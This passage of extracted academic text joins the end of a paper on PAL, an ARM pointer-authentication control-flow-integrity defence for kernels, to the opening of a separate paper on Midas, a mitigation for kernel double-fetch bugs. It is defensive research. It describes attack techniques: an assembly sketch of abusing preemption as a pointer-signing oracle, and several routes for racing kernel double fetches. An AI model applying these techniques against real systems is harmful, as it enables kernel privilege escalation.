demonstrated by Google project zero. [13] Meanwhile, PAT-
TER [72] interposes these memory-related functions, checks
each byte of the source to identify a signed pointer, and re-
signs with a new address, which can be leveraged for a signing
gadget (§3.2) because it ignores authentication failures. In
contrast, PAL’s approach capturing the kernel’s design pat-
terns (see §4.2) performs in a robust manner.
Backward-edge protection. Unlike Apple’s primitive
backward-edge protection [43], PAL enhances its precision
by combining the hash of a function name and a stack pointer,
similar to PARTS [47]. To quantify the improvement, we
estimated the maximum number of allowed targets for back-
ward edges while running LMbench on Linux. Our evaluation
shows that it effectively reduces the allowed targets from 203
(Apple’s) to 14.

Other finer-grained solutions like PACStack [46] or Camou-
flage [26] impose undesirable performance overheads: PAC-
Stack requires excessive memory accesses to trace every call
stack [46] and Camouflage needs to reserve a register to retain
the function address until the function epilogue [26].

6.2 Security and Functional Validation
Correctness testing. We tested the correctness of the PAL-
protected Linux by applying micro- and macro-benchmarks:
LMbench, perf bench, Apache bench, leveldb, Blogbench and
Linux Test Project (LTP). We also confirmed that the original

Instruction iPhone (A12) Mac mini (M1)

paciza / pacizb 2.8172 / 2.8162 ns – / 2.1501 ns
pacia / pacib 2.8103 / 2.8170 ns – / 2.1503 ns
autiza / autizb 2.8165 / 2.8170 ns – / 2.1502 ns
autia / xpaci 2.8177 / 2.8189 ns – / 2.1504 ns

eor/orr 0.4032 / 0.4030 ns 0.3077 / 0.3074 ns

Table 5: Performance of PA instructions measured on iPhone (A12)
and Mac mini (M1).

kernel exhibits the same behaviors in all benchmarks.
CVE studies. We tested three known CVEs (CVE-2017-
7308 and CVE-2018-9568 for Linux, CVE-2019-5602 for
FreeBSD) and corresponding exploits against both original
and protected kernels. We confirmed that all exploits are
successfully prevented—original exploits were simply pre-
vented by typesig. However, a stronger adversary could eas-
ily launch a replaying attack (§3.2), e.g., CVE-2019-5602 that
abuses struct sysent.sy_call having 547 allowed targets,
which objbind in PAL could effectively prevent.
Run-time validation. To check if there are any overlooked
function pointers not sanitized by our analysis, we took a
series of memory snapshots of the running kernel while exe-
cuting LMbench tests. With this run-time validation, we found
several, non-trivial bugs during the development of PAL: e.g.,
a raw function pointer made in kernel_thread, saved in the
x19 field of task structure, eventually loaded and called in
assembly code without aut instruction. We manually added
PA instructions to protect the function pointers.

6.3 Performance Overhead
We measured the performance overhead imposed by PAL in
terms of computation throughput and latency (see Appendix C
for detailed numbers).
Micro-benchmark. We used two micro-benchmarks: LM-
bench and perf on Mac mini and the Pi3 (emulated).
1 LMbench. We ran LMbench v3 to measure the potential
impact of system call latency increased by PAL. Compared
to stock Linux, PAL increases the latency by 0-3 µs (median.
7%) depending on system calls, on both Mac mini and Pi 3.
Due to the additional pac/aut instructions used for signing
and validating the process context, the latency of fork() is im-
pacted the most: 28.0 µs (3.7%) on Pi3, 6.1 µs (6.1%) on Mac
mini. Also, we measured the only impact of backward-edge
protection, PAL increases the latency by 0-1 µs on average.
2 perf. To measure the performance overhead associated
with context switching (i.e., the chained signing operations
with the time stamp), we ran the perf benchmark (5.12.0-
rc1) [25]. Our experiments show that it degrades the latency
of messaging and pipe by 3-5% on both Mac mini and Pi3.
Macro-benchmark. We ran Apache benchmark (v2.3) and
leveldb (v1.22) and Blogbench (v1.1) to estimate the perfor-
mance impact of network and database and file server appli-
cations on PAL-enabled Linux, respectively.
1 Apache benchmark. We used two Pi3 boards—the client
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OS TAT TDS at 10 TDS at 20 TDS at 30 TDS at 40

Linux 89 35/39.3% 50/56.1% 67/75.2% 80/89.8%
FreeBSD 48 18/37.5% 30/62.5% 38/79.1% 41/85.4%

Table 6: The correlation result between allowed targets and diversity
scores; TAT: the number of structs that rank top 10% in allowed
targets, TDS at k: the number of structs that rank top k% in diversity
scores; A higher TDS indicates better results.

sends GET requests with varying sizes through ethernet to the
PAL-enabled and stock Linux (server) for comparison. PAL
degrades the performance by about 1% for 1 KB files but has
negligible overhead (< 0.08%) for requests over 100 KB.

On Mac mini, we set up both client and server in one mac
mini because, at the time of this writing, Asahi Linux lacks
ethernet support. PAL degrades the performance by 0.75% for
1 kb files. Note that for larger requests we could not correctly
measure it because client-side overheads affect its result a lot.
2 leveldb. We ran the default benchmark included in lev-
eldb [4] (NoSQL-style DB), on Mac mini. PAL degrades the
performance by 1-3% and 0.3% for write and read, respec-
tively.
3 Blogbench. We ran Blogbench [3] on ext4 filesystem with
the default configuration in order to reproduce the load of a
real-world busy file server. PAL reported negligible overhead
(0.2%) for both write and read, on Mac mini.

6.4 Context Analyzer
We evaluated four characteristics of the context analyzer, de-
scribed as follows.
Soundness. The context analyzer is based on the sound as-
sumption that the structures with the larger allowed targets
likely have the higher diversity scores. To validate this as-
sumption in practice, we measured the correlation between
allowed targets and diversity scores: the majority of TAT ranks
top 20% in diversity score as shown in Table 6.
Security. To see the security enhancement, we measured
how many contexts out of what rank top 10% in allowed
targets could be successfully refined via objbind/retbind. As
a result, 272 out of 312 (87.1%) and 350 out of 376 (93.0%)
could be refined for Linux and FreeBSD, respectively.
Failure cases. We found several cases in which the context
analyzer could not refine. Some function pointers do not have
any relation with any structure so they are not able to use
objbind. For example, two common cases are: 1) local func-
tion pointers (e.g., fptr_t fp = func) and 2) type casting
(e.g., fptr_t fp = obj->fp).
Engineering efforts. Despite the automation capability of
the analyzer, PAL still requires some, yet minimal, engineer-
ing efforts to enhance the CFI precision, especially when its
diversity score is low (e.g., zero or one) and the number of
allowed targets is high. Since the analyzer chooses by default
the address binding for such cases, it would cause a kernel
panic if not properly handled (e.g., in a memory copy func-
tion). In our experiences (Table 2), it takes about one-person

day to resolve these issues.

7 Discussion

Assurance over assembly code. All assembly code is
checked by the static validator—all inserted PA instructions
respect their security invariant (see §4.5). However, it is still
possible in theory that PAL misses the protection of function
pointers generated and used in inline assembly. Fortunately,
if such an assembly code ever just runs in PAL, 1) the system
crashes immediately (aut failure) in most cases, so our ex-
haustive benchmarks help us address this issue, and 2) if not
crashed, our run-time validator helps us identify the problem
by scanning the entire memory for raw pointers. We observed
only one case in kernel_thread explained in §6.2.
Implication of reserving one PA key. PAL reserved one PA
key for the kernel protection and another key for the user space.
However, this does not mean that all user space applications
share the same key—each application has its own dedicated
key that is multiplexed by the kernel.
Applicability to other kernels. We intensively tested PAL
with other available kernels including Minix [5] and Zircon
[6], The context analyzer reported many sites where objbind
is effective, but a small number of sites for retbind. However,
since their codebases are too small compared with Linux and
FreeBSD, it was trivial to apply PAL to their projects.
Potential to improve performance. Developers can opt to
prioritize performance over security. The context analyzer
given a lower CFI precision level applies a smaller number of
objbind/retbind and resultantly builds a faster kernel. Note
that even with no use of runtime contexts, PAL’s security is
still better than that of conventional type-based CFIs (e.g.,
RAP [65]) thanks to the use of objtype.
Impacts of speculative executions. We exclude side-
channel attacks from our threat model, but they would be
practical if a chip enables speculative executions on PA in-
structions. For example, if attackers could control and monitor
what happens in PA instructions in the context of speculative
executions, they would be able to make a signing gadget with-
out being affected by the brute-force attack mitigation, in a
similar way to BlindSide [29]. So it would be interesting to
evaluate PA-enabled SoCs in the view of speculation.

8 Related Work
Ever since a CFI-based approach was introduced to miti-
gate code-reuse attacks [7], a number of research ideas have
been proposed to improve its protection precision and run-
time performance [16]. Since precision and performance are
fundamental trade-offs in CFI, the finest target estimation
comes with non-negligible performance overhead, render-
ing them unattractive for practical adoption. In contrast, the
coarse-grained CFI solutions, like Microsoft’s Control-flow
Guards [55], Google’s Indirect Function-Call Checks [67],
PaX’s Reuse Attack Protector (RAP) [65], and Apple’s PA [8],
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have been successfully deployed to protect web browsers and
operating systems.
Hardware-based CFI. Silicon-level features can signifi-
cantly alleviate the performance overhead of CFI. For ex-
ample, commodity technologies have been used to design
lightweight CFI schemes: Intel PT [36] to trace control-flow
changes [27, 32], Intel LBR [41] to get the history of branch
changes [18, 59], and Intel MPX [58] to quickly enforce tar-
get boundaries [56]. Since these hardware features are not
intended for security, retrofitting them for CFI leaves a lot
of weaknesses in security like PT packet losses [27, 32] or
overflowing branch history [59].

Recently, more hardware primitives [17, 19, 23, 24, 37, 53,
64] are designed specifically to assist CFI—we use the term,
“primitives,” as they are dependent on the software counter-
part that utilizes the primitive for the full protection. ARM’s
PA [66] is one of the most promising primitives that Apple
first utilized to enforce CFI in iOS and M1-based macOS [8].
In academia, PARTS [47] and PATTER [72] also proposed
type-based signing by using PA, but hardly beyond the in-
tended design of PA [47]. Apple’s CFI implemented much
advanced type analysis to address unique challenges to its
own kernel—mixed uses of objective-C and native compo-
nents [8, 43]. Unfortunately, Apple’s approach is not univer-
sally applicable to other monolithic commodity OSes like
Linux and FreeBSD in providing finer-grained target enforce-
ment for CFI (§6.1).
In-kernel CFI. Commercial solutions such as PA-based CFI
for iOS [8], LLVM’s CFI for Android [68], and PaX RAP for
Linux [65] use the type-based approach to refine the precision
of CFI without breaking code-level compatibility. Academic
approaches have explored various directions to further en-
hance its precision, by utilizing mapping tables derived from
finer-grained CFGs, for system software [20, 28, 70]. Our
approach, while providing a commercial solution, aims to
achieve the finest precision with minimal performance over-
heads on commodity hardware supporting PA.

9 Conclusion
This paper presents PAL, an in-kernel, ARM PA-based pro-
tection that enhances the precision of CFI with minimal per-
formance overhead. We define new attack vectors for PA
when used to protect the kernel and found erroneous cases
in the state-of-the-art PA-based protections such as iOS and
PARTS. PAL provides two techniques: automated refinement
techniques to capture idioms and design patterns for better
CFI, and a static validator to check error-prone usage pat-
terns of PA in the final OS images. PAL has been ported
to Linux and FreeBSD and our evaluation shows negligible
performance overhead. We will make PAL publicly available
upon acceptance and for artifact evaluation.
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Appendix

A Context Analyzer Algorithm
Figure 11 introduces ESTIMATE_DIVERSITY_SCORE, a core algorithm to
estimate diversity score (shortly, DS) for the context analyzer annotating
objbind.

The algorithm takes inputs – f uncs (all functions in the kernel), struct
and f idx (the desired target structure and its field index for DS), and breaks
down to three phases :

1) It collects all assignments (i.e., store instructions) to the given
struct. f idx (line 6) and performs the Andersen’s pointer analysis to the
value operand of each assignment (line 7) , which retrieves points-to-set
(pts) of the value operand (line 8). The analysis is a flow-intensive and
path-insensitive intra-procedural analysis.

2) It attempts to resolve all pts retrieved from the previous phase by
running check(pts) function that checks if all value in pts meets any of the
conditions to increment diversity score (see, §4.3) and returns true if that is
the case. (line 12) If at least one pts fails in check(pts), it moves off to the
third phase where an iterative inter-procedural analysis plays.

3) If the else branch at line 16 is taken, it starts to run an iterative worklist
algorithm (line 17 ∼ line 38). This algorithm finds and adds functions that
need to be further investigated (i.e., calling contexts) into wk in an iterative
way, unless there is nothing in wk or the number of rounds goes over the
threshold we set (five) to avoid being unterminated caused by the large code
size of the kernel. To find such functions, it checks if a value in pts is used
as an argument in a function call to f in wk (line 24), and if true it attempts
to increment diversity score if possible (line 27) otherwise adds the current
context into upd (line 30) to repeat this algorithm.

After all of the above phases are complete, it finally returns DS on
struct. f idx (line 42).

B Abusing Preemption as Signing Oracle

    mov    pac_reg, x0 
    pacib   pac_reg,  context
    ......
    mov    context, pac_reg
    mov    pac_reg, x1
    pacib   pac_reg,  context

signing_code

    str   x0,  [sp]
    ......
    str   pac_reg,  [sp, ..]

    ldr   x0,  [x1]
    autib   x0,  context
    blr   x0

irq/fiq_handler normal_function

Sign Spill Use

1

2

3

Attacker-chosen arbitrary pointer Attacker-chosen signed pointer

Attacker-chosen context Memory in which the attacker-chosen signed pointer

4

Figure 10: Exploiting the code for signing the preemption context
as a signing oracle. 1 enter the signing routine via IRQ or creating
thread state (e.g., arm_saved_state_t in iOS) and sign an attacker-
chosen pointer in the first register x0 with an attacker-chosen context.
2 preempt the signing via IRQ/FIQ and spill the signed pointer
onto the stack memory (FIQ is the high-priority interrupt, which can
preempt IRQ in arm64). 3 read the pointer from the spilled stack
memory and substitute the pointer for an indirect call that uses the
attacker-chosen context. 4 Consequently an attacker is able to jump
to the attacker-chosen place. (i.e, x0 in 1 )

ESTIMATE_DIVERSITY_SCORE ( f uncs,struct, f idx)
Input : f uncs: all functions in the kernel

struct: a target structure
f idx: a target field index

Output :diversity score
Symbol : f .insns: all instructions in f

si: store instruction
ds: diversity score
pts: points-to set
wk: current worklist (map< f ,pts>)
upd: worklist for next round
f irst_wk: worklist for first round
apts( f , p): andersen pointer analysis on p within f
check(pts): check if pts meets ds conditions

1 ds← 0
2 wk←∅ f irst_wk←∅
3 foreach f ∈ f uncs; do
4 // 1. set up the first worklist
5 foreach i ∈ f .insns; do
6 if i = si & i.pointer_op = struct. f idx then
7 pts← apts( f , i.value_op)
8 f irst_wk.add( f , pts)
9 end

10 end
11 foreach f , pts ∈ f irst_wk; do
12 if check(pts) = true then
13 // 2. increment ds if possible
14 ds← ds+1
15 end
16 else
17 // 3. start iterative worklist algorithm
18 depth← 0
19 wk← f irst_wk
20 while wk.size()> 0 & depth < 5 do
21 foreach f , pts ∈ wk; do
22 // iterate instructions in funcs
23 foreach i ∈ f uncs.insns; do
24 if i is a call to f & i.arg ∈ pts then
25 pts← apts( f , i.arg)
26 if check(pts) = true then
27 ds← ds+1
28 end
29 else
30 upd.add(i. f unc, i.arg)
31 end
32 end
33 end
34 end
35 wk← upd
36 upd←∅
37 depth← depth+1
38 end
39 end
40 end
41 end
42 return ds

Figure 11: The core algorithm to estimate a diversity score for
objbind.
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C Evaluation Supplement Data

4.19.49 on Rpi3 5.12.0-rc1 on Mac mini(M1)

Stock w/ PAL Overhead Stock w/ PAL Overhead

SPEC 400.perlbench 1.631 1.634 0.003 / 0.18% -
2006 (sec) 401.bzip2 4.616 4.615 -0.001 / -0.02% -

403.gcc 12.701 12.68 -0.021 / -0.17% -
429.mcf 19.082 19.085 0.003 / 0.02% -

435.gromacs 9.769 9.775 0.006 / 0.06% -
436.cactusADM 30.885 31.07 0.185 / 0.60% -

444.namd 118.309 118.394 0.085 / 0.07% -
445.gobmk 1.329 1.33 0.001 / 0.08% -
447.dealII 168.277 168.773 0.496 / 0.29% -

456.hmmer 3.275 3.268 -0.007 / -0.21% -
458.sjeng 23.691 23.655 -0.036 / -0.15% -

462.libquantum 0.324 0.324 0.000 / 0.00% -
464.h264ref 151.026 150.628 -0.398 / -0.26% -

470.lbm 42.153 42.143 -0.010 / -0.02% -
471.omnetpp 3.751 3.75 -0.001 / -0.03% -

473.astar 63.975 63.839 -0.139 / -0.20% -
483.xalancbmk 0.937 0.936 -0.001 / -0.11% -

999.specrand 0.113 0.113 0.000 / 0.00% -

LMbench (µs) null 2.38 2.64 0.26 /10.9% 0.1489 0.1971 0.0482 / 32.4%
fstat 3.70 3.97 0.27 / 7.3% 0.8170 0.2837 -0.5342 / -65.3%

open_close 31.46 34.24 2.78 / 8.8% 1.0315 1.1890 0.1575 / 15.2%
select_200 33.65 31.70 -1.95 / -5.8% 19.0521 2.5541 -16.4980 / -86.6%
sig_install 4.92 5.44 0.52 /10.6% 0.7392 0.1989 0.2460 / 23.7%
sig_catch 29.36 31.70 2.34 / 8.0% 7.2327 1.0529 -6.1798 / -85.4%

protection_fault 0.30 0.60 0.30 / 100% 0.8306 0.2222 -0.6084 / -73.2%
pipe 69.05 73.47 4.42 / 6.4% 17.3443 19.3347 3.2874 / 11.5%

unix_sock 84.28 89.27 4.99 / 5.9% 18.0461 18.2759 0.2298 / 1.27%
fork_exit 719.78 746.14 26.36 / 3.7% 85.6061 91.7627 6.1566 / 7.19%

fork_exec 774.40 802.43 28.03 / 3.6% 101.3725 103.0943 1.7218 / 1.70%

Linux messaging 2.977 3.089 0.112 / 3.76% 0.164 0.169 0.005 / 3.0%
perf (sec) pipe 69.603 73.212 3.609 / 5.19% 18.087 18.941 0.854 / 4.7%

apache (ms) 1 KB 3.13 3.16 0.03 / 1.06% 0.132 0.133 0.001 / 0.75%
10 KB 4.10 4.12 0.02 / 0.46% -

100 KB 12.00 12.00 0.00 / 0.02% -
200 KB - -

1 MB 92.57 92.64 0.08 / 0.08% -
10 MB 895.87 895.78 0.10 / 0.01% -

leveldb (ms) fillseq - 1.692 1.745 0.053 / 3.10%
fillsync - 6.861 6.990 0.129 / 1.80%

fillrandom - 4.892 5.013 0.121 / 2.40%
overwrite - 4.869 4.665 -0.204 / -4.10%

readrandom - 9.332 9.368 0.036 / 0.38%
readseq - 0.573 0.575 0.002 / 0.34%

readreverse - 1.075 1.069 -0.006 / -0.55%

blogbench (ms) write - 382 381 1 / 0.2%
read - 416368 415550 818 / 0.2%

5.12.0-rc1/Mac mini 4.19.49/Rpi3 FreeBSD/Qemu

Stock 123.5 MB 19.9 MB 5.9 MB
w/ PAL 130.7 MB 23.0 MB 6.4 MB
Overhead 7.2 / 5.8% 3.1 / 15.6% 0.5 / 8.5%

Table C1: Detailed data about performance overheads, and image sizes increased by PAL in Linux and FreeBSD kernels.
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Abstract
Double-fetch bugs are a plague across all major operating sys-
tem kernels. They occur when data is fetched twice across the
user/kernel trust boundary while allowing concurrent mod-
ification. Such bugs enable an attacker to illegally access
memory, cause denial of service, or to escalate privileges. So
far, the only protection against double-fetch bugs is to detect
and fix them. However, they remain incredibly hard to find.
Similarly, they fundamentally prohibit efficient, kernel-based
stateful system call filtering. Thus, we propose Midas to miti-
gate double-fetch bugs. Midas creates on-demand snapshots
and copies of accessed data, enforcing our key invariant that
throughout a system call’s lifetime, every read to a userspace
object will return the same value.

Midas shows no noticeable drop in performance when eval-
uated on compute-bound workloads. On system call heavy
workloads, Midas incurs 0.2–14% performance overhead,
while protecting the kernel against any TOCTTOU attacks.
On average, Midas shows a 3.4% overhead on diverse work-
loads across two benchmark suites.

1 Introduction

The operating system (OS) kernel provides isolation between
processes and is a key trusted computing base. Each untrusted
userspace process runs under a dedicated user in its own ad-
dress space and must request resources (such as communi-
cation channels or changes to its address space) from the
trusted kernel. The userspace/kernel interface forms an ex-
plicit trust barrier; all data that crosses this boundary in either
direction must be carefully checked by the kernel. Userspace
processes attack the kernel by issuing system calls (syscalls)
that then trigger kernel bugs, elevating the privileges of the
process. A common class of kernel bugs are so-called double-
fetch bugs [35,38,40,44]. They occur when higher-privileged
code, such as the kernel, reads the same data from the lower-
privileged address space twice. Double-fetch bugs are a race

∗This work was done during the author’s time at EPFL.

condition between threads of different privileges. A time-of-
check to time-of-use (TOCTTOU) violation occurs when the
first read is used to check a condition while the second read
is used to modify state. An example of a double fetch bug is
when the kernel reads the length of a buffer from userspace,
allocates a kernel buffer, then reads the length a second time
to finally copy the data from userspace to the kernel. An at-
tacker may concurrently overwrite the length of the buffer
(with a larger number) after allocation, causing the memory
copy to overflow the kernel buffer. Double-fetch bugs are
a frequent problem in kernels and hypervisors [1–10]. Wat-
son [42] blames an unfixable TOCTTOU constellation as a
reason for the generic insecurity of syscall wrappers. Syscall
filtering wrappers require that data read from userspace for
the initial check remains the same when the kernel later uses
it for computation. Therefore, such filters can currently only
check arguments passed by value. Midas enables “deep ar-
gument inspection” for SecComp [12, 13] (i.e., checks argu-
ments passed by reference). Without Midas, such inspection
is impossible: these checks introduce double fetches, and
consequently TOCTTOU bugs.

To mitigate double-fetch bugs in the kernel, a system
must prohibit concurrent changes1to memory accessed by
the syscall. Attackers may find crafty ways to trigger such
concurrent writes, including: i) direct writes from userspace
(e.g., from concurrent threads), ii) kernel writes from syscalls
(e.g., from concurrent syscalls), iii) modifying address space
mappings, iv) concurrent write syscalls to a file that alters
mapped file pages, and v) storing arguments on device-backed
pages, leveraging devices to trigger concurrent writes. To pre-
vent attacks, all concurrent writes must be prohibited.

We base our defense on a single key invariant: through
a syscall’s lifetime, every read to a userspace object will re-
turn the same value. From this invariant we derive a security
property ensuring that every read during the execution of a
syscall is tracked. Subsequent reads from the same address
will always return the same value. For performance, multiple

1The attacker model includes both concurrent and parallel writes.

USENIX Association 31st USENIX Security Symposium    107



versions of an object may exist simultaneously, depending
on when the syscall was started and how many concurrent
syscalls are in flight. Orthogonally, we derive a correctness
property that ensures the sharing of the correct version among
inflight syscalls. All writes end up on the most recent ver-
sion of the objects, allowing forward progress. While we
implement this invariant in our Midas prototype for the Linux
kernel, this defense applies to any modern OS kernel.

Our evaluation of Midas demonstrates low performance
overhead. On workloads from the NAS Parallel Benchmarks
suite, Midas shows an average performance overhead of 3.7%.
Similarly, its performance overhead on more kernel-intensive
workloads from the Phoronix Test Suite is 3.4% (with negligi-
ble memory overhead). Our security evaluation demonstrates
how Midas successfully stops all attacks against vulnerable
syscalls. Our contributions are:

• Distillation of TOCTTOU attack vectors into an invari-
ant that protects the kernel against malicious concurrent
modifications,

• Midas, a design that prohibits and detects TOCTTOU
attacks against modern kernels, prohibiting their exploita-
tion, enabling developers to detect TOCTTOU bugs, and
providing the foundation for safe syscall interposition
and validation, and

• An efficient implementation of Midas for the Linux ker-
nel that exhibits low (3.4%) performance overhead.

2 Background

Midas orchestrates several mechanisms within the Linux
memory subsystem to provide its protection guarantees. Linux
uses architecturally defined per-address space page tables to
define mappings to pages. Midas protects these pages by
temporarily marking them read-only in the page tables. This
section provides background information necessary to reason
about why and how Midas protects syscalls from concurrent
writes.

2.1 Page Tables and Memory Protection

Virtually all modern architectures (e.g., x86, ARM, SPARC,
and RISC-V) implement separate virtual and physical address
spaces (AS) based on fixed-size regions called pages. Pro-
grams execute in their virtual address space while caches
and main memory are accessed using physical addresses. Ar-
chitectures rely on page tables orchestrated by the operating
system to translate between these address spaces and to pro-
tect such accesses. Page tables are arranged as radix trees,
where different bits of the virtual address are used as indices
into successive levels of the page table. At the leaf page ta-
ble, a unique pagetable entry (PTE) stores the translation and
protection information for a page.

A PTE in x86-64 is a 64-bit value holding, among others,
the following metadata: a Present bit (P) to mark the PTE’s
validity; Protection bits (NX, R/W, U/S) to restrict the type of
access and the privilege level of the accessing code; Software-
usable bits (SW1-SW4) that are ignored by the MMU and
used by the operating system to store metadata; and a Page
Frame Number (PFN) to identify the page’s physical address.

An access using a virtual address first reads the correspond-
ing PTE’s present bit to check its validity. Then, the access
checks whether the access is allowed from the executing
code’s privilege level by checking the U/S bit and whether the
read/write access is allowed by checking the R/W bit. When
all checks pass, the processor uses the PFN to find the data in
the caches or in memory. When a check fails, the processor
raises a protection fault/exception and moves control to an
OS-specified exception handler.

Reading PTEs from a multi-level page table is an expen-
sive operation, and modern processors cache PTEs in caches
known as Translation Lookaside Buffers (TLBs) to reduce
the cost of subsequent accesses. On most architectures, the
OS is responsible for keeping TLBs coherent with the page
table, necessitating entries to be flushed from TLBs when the
corresponding PTE is updated.

2.2 Linux Memory Subsystem

Linux implements various abstractions—including processes,
files, and shared memory—using the architecture’s page ta-
bles. All threads within a Linux process share a single address
space, and consequently use the same page table for trans-
lation and protection. Each page within the process’ virtual
address space may be mapped or unmapped. Mapped pages
have separate read/write/execute permissions. Programs typi-
cally have write-execute exclusion, meaning code pages can-
not be written to and data pages cannot be executed. These
permissions map directly to page-table bits. Pages in Linux
may also be copy-on-write (COW) pages, which are mapped
read-only in multiple address spaces, but duplicated when any
process writes to it, resulting in a separate copy.

Linux maintains userspace and kernel mappings to memory
in distinct parts of the virtual address space. The PTE entries
for kernel mappings, located in the top half of the address
space, have the U/S bit set. These kernel mappings are identi-
cal for all address spaces, and are kept consistent across the
corresponding page tables. In contrast, the PTE entries for
userpace mappings, located in the bottom half of the address
space, have the U/S bit reset. A userspace page has atleast one
userspace mapping and atleast one kernel mapping. Shared
userspace memory is implemented by mapping a page in more
than one address space.

Files in Linux occupy a separate namespace (rooted at /).
However, when files are read or written, parts of the file are
cached in the kernel’s page cache (which consists of pages
mapped in the kernel’s address space). Moreover, programs
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can explicitly map pages from a file, in which case the cor-
responding pages from the page cache are also mapped at
userspace addresses in the process’ page table. Mapped file
pages can therefore be accessed by the file-system driver us-
ing kernel addresses, and userspace programs using userspace
addresses. Userspace pages not backed by a file are called
anonymous pages.

2.3 Supervisor Memory Protection
Kernel accesses to userspace memory use userspace map-
pings, introducing the risk of the kernel confusing userspace
data structures for kernel data structures. An attacker can
exploit this behavior via bugs in the kernel. Essentially, the
attacker needs to set up either data structures or code within
its accessible memory, then exploit a kernel bug to make the
kernel use these data structures, or execute this code.

Architectures and OSs have mitigated these vulnerabilities
by introducing supervisor memory protection. Under super-
visor memory protection, kernel read/write/execute access
to userspace memory raises a fault (depending on the state
of a per-core system register). On x86-64, these features are
known as Supervisor Memory Access Protection (SMAP,
for data accesses) and Supervisor Memory Execution Pro-
tection (SMEP, for code accesses). Bits in the CR4 register
track whether these protections are active, and the privileged
stac/clac instructions are used to quickly enable and disable
SMAP. In the OS, all accesses to userspace memory are made
explicit, using transfer functions to read from and write to
userspace memory. Any unintended access outside of these
functions causes a hardware fault, indicating a kernel bug or
an attack. Linux implements the copy_{from/to}_user func-
tions, which use the access control instructions to disable
SMAP before accessing userspace data, and then re-enable
SMAP afterwards. Transfer functions make kernel accesses
to userspace data explicit, allowing Midas to reliably track
and protect all kernel fetches from userspace memory.

2.4 Double-Fetch Bugs
Double-fetch bugs occur when a privileged environment (such
as the kernel) reads untrusted memory multiple times, return-
ing different values each time. Such a situation is depicted in
Figure 1, where the value of X in memory is changed by an at-
tacker between two reads by the target thread. Exploiting such
a bug requires a race condition i.e. accesses to memory in a
particular order across threads. A specific variety is the time-
of-check to time-of-use (TOCTTOU) bug which occurs when
the first fetch validates an object’s value and the second fetch
uses the same object’s value. TOCTTOU bugs are widely stud-
ied in file systems, where the API makes it possible to swap
the file after validating the access rights [20, 32, 33, 37, 43].
TOCTTOU bugs affect both kernel [23, 40] and dynamically-
loaded driver code [7, 14]. Wang et al. [40] showed that dou-

Target thread Attacker threadMemory state

Enter a syscall

Read(X) = 42

Read(X) = 0

X=42

X=0 Write(X, 0)

Exploit

X=0

Figure 1: Example of a double-fetch bug.

Userspace Kernel Device

Intra AS User mapping DMAExisting
mapping Cross AS Kernel mapping MMIO page

mmap mm_populate New
clone DMA/New

mapping
swap MMIO page

Table 1: Attack vector classification for TOCTTOU exploits.

ble fetches appear not only in kernels, but wherever there is
a trust boundary to cross (e.g., kernel—hypervisor [44] and
hardware—kernel boundaries [28]).

3 Threat Model

The attacker has access to a user account on the target ma-
chine. They can execute arbitrary userspace code, including
syscalls. Some of the system calls have double-fetch vulnera-
bilities which the attacker wishes to exploit (e.g., for privilege
escalation). The attacker may execute arbitrary sequences of
syscalls on multiple CPU cores in parallel, or concurrently on
the same core.

Midas mitigates any unintended corruption or informa-
tion leakage in the kernel or in other user processes that
arises through double-fetch bugs. Hardware attacks such
as Rowhammer [30] or side-channels [26], and file-system
TOCTTOU attacks [32, 33, 37, 43] are out of scope.

4 Attack Classification

Midas guards data processed during a syscall’s execution
against concurrent modification. We label the data fetched
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twice as vulnerable data. In this section, we classify attacks
based on two criteria: the privilege level of the writer, and
whether the mapping used for writing exists at the time of the
first read. Table 1 summarizes our classification. Importantly,
this classification helps understand existing attacks and how
to protect against them, and where future attacks (bugs) may
arise. The device column corresponds to attacks where a
device (e.g., a network card, GPU, FPGA) is responsible for
modifying vulnerable data. Watson [42] describes a subset of
the following attack vectors.

Existing userspace mappings to a page can be used to
modify vulnerable data which the targeted syscall is reading.
Userspace can directly write to a mapped page, irrespective
of whether the mapping is in the same address space or not.
Alternatively, a concurrently executing syscall can also mod-
ify the vulnerable data in a confused-deputy attack. When the
attacker passes a pointer to the vulnerable data to the syscall
as a user buffer in which the syscall can return some data,
the kernel’s write to the buffer can modify vulnerable data.
For example, the read syscall takes an argument pointing to
a user buffer where the contents of a file will be copied to.
Another example is rt_sigaction, where the kernel writes to
a user buffer pointed to by the oldact argument. In both of
these attacks, the malicious write uses a userspace mapping.
A protection mechanism must account for all userspace map-
pings to pages containing vulnerable data at the time of the
targeted syscall’s first read.

Existing kernel mappings to a page also mapped in
userspace can be leveraged by an attacker in a confused-
deputy attack. Here, the attacker maps a file-backed page
from the page cache into a userspace process and then passes
as an argument in this page to the target syscall. The attacker
then triggers a concurrent write syscall to modify the vulnera-
ble data using kernel mappings for the page cache pages. The
kernel does not explicitly track kernel addresses mapping to
a page, but the file-system driver does explicitly find the page
before writing to it. A protection mechanism must instrument
file-system drivers to account for writes via kernel mappings
to vulnerable data.

The kernel might create new mappings to the vulnerable
data between the double fetches by the target syscall, by-
passing any protective permissions installed by the transfer
function in PTEs at the time of first read. An attacker can
call mmap and clone to create a new mapping to the vulnera-
ble data before writing to it. The page-table mapping might
not be created at the time of the malicious syscall, but lazily
when the attacker writes to the vulnerable data due to demand
paging. In a more involved variant, the attacker can use the
kernel as a confused deputy which touches the unmapped
page and maps it in, then writes to the vulnerable data. In
all of the above vectors, the function populating pages for a
process (mm_populate on Linux) is creating the new mapping.
A protection mechanism must instrument any syscalls and
other kernel mechanisms which can create new mappings.

Swapping may also create a new page-mapping. If the
attacker writes to a page that was previously swapped to disk,
but later swapped in to be read by the target syscall in a
different address space, the kernel might lazily reinstate the
attacker’s mapping to the page. The swapping mechanism
must be protected.

Midas protects against all of the previously-listed attack
vectors. In the absence of any other syscall which can create
new userspace mappings to vulnerable data, Midas’ protection
is complete against writes from both user and kernel code.

Finally, a device might modify vulnerable data if it is either
allowed to DMA (direct memory access) to the page, or if the
page is memory mapped (MMIO) and is actually backed by
the device. In the latter case, external factors can change the
vulnerable data. Existing discretionary access control rules
typically prevent users (except a superuser) from mapping
device-backed pages into their address spaces. Such users
are also disallowed from configuring DMA devices. Thus,
device modifications to vulnerable data fall outside our threat
model and are not protected by Midas. However, Midas can
be extended to protect against modifications by DMA devices
on processors supporting IOMMUs or similar methods for
access control [31]. As a superuser can modify kernel code
via kernel modules, protecting against attacks from this user
falls outside of our threat model.

5 Midas Design

Midas maintains a single, core, invariant: through a syscall’s
lifetime, every read to a userspace object will return the
same value. By construction, the invariant guarantees that
double-fetches in syscall code will read the same data, elim-
inating TOCTTOU bugs. Midas maintains the invariant by
tracking snapshots of objects when first accessed, lazily mak-
ing copies when the object is concurrently written and ac-
